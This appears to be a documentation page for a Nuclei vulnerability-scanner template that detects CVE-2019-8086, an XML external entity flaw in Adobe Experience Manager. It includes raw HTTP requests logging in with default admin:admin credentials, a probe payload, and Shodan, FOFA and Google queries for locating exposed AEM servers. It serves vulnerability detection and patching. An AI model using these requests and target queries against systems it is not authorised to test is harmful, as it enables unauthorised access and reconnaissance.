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Adobe Experience Manager - XML External Entity Injection

ID: CVE-2019-8086

Severity: high

Author: DhiyaneshDk

Tags: cve,cve2019,aem,adobe

Description

Section titled “Description”

Adobe Experience Manager 6.5, 6.4, 6.3 and 6.2 are susceptible to XML external entity injection. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

YAML Source

Section titled “YAML Source”
id: CVE-2019-8086


info:
  name: Adobe Experience Manager - XML External Entity Injection
  author: DhiyaneshDk
  severity: high
  description: Adobe Experience Manager 6.5, 6.4, 6.3 and 6.2 are susceptible to XML external entity injection. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, server-side request forgery, and potential remote code execution.
  remediation: |
    Apply the necessary security patches provided by Adobe to mitigate the vulnerability. Additionally, ensure that the server is properly configured to restrict access to sensitive files and prevent XXE attacks.
  reference:
    - https://speakerdeck.com/0ang3el/a-hackers-perspective-on-aem-applications-security?slide=13
    - https://github.com/0ang3el/aem-hacker/blob/master/aem_hacker.py
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=2019-8086
    - https://nvd.nist.gov/vuln/detail/CVE-2019-8086
    - https://helpx.adobe.com/security/products/experience-manager/apsb19-48.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-8086
    cwe-id: CWE-611
    epss-score: 0.13896
    epss-percentile: 0.95652
    cpe: cpe:2.3:a:adobe:experience_manager:6.2:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: adobe
    product: experience_manager
    shodan-query:
      - http.title:"AEM Sign In"
      - http.component:"Adobe Experience Manager"
      - http.component:"adobe experience manager"
      - http.title:"aem sign in"
      - cpe:"cpe:2.3:a:adobe:experience_manager"
    fofa-query: title="aem sign in"
    google-query: intitle:"aem sign in"
  tags: cve,cve2019,aem,adobe


http:
  - raw:
      - |
        POST /content/{{randstr}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Authorization: Basic YWRtaW46YWRtaW4=
        Referer: {{BaseURL}}


        sling:resourceType=fd/af/components/guideContainer
      - |
        POST /content/{{randstr}}.af.internalsubmit.json HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Authorization: Basic YWRtaW46YWRtaW4=
        Referer: {{BaseURL}}


        guideState={"guideState"%3a{"guideDom"%3a{},"guideContext"%3a{"xsdRef"%3a"","guidePrefillXml"%3a"<afData>\u0041\u0042\u0043</afData>"}}}


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<afData>ABC<afBoundData/>'


      - type: word
        part: header
        words:
          - application/json


      - type: status
        status:
          - 200
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-8086.yaml"

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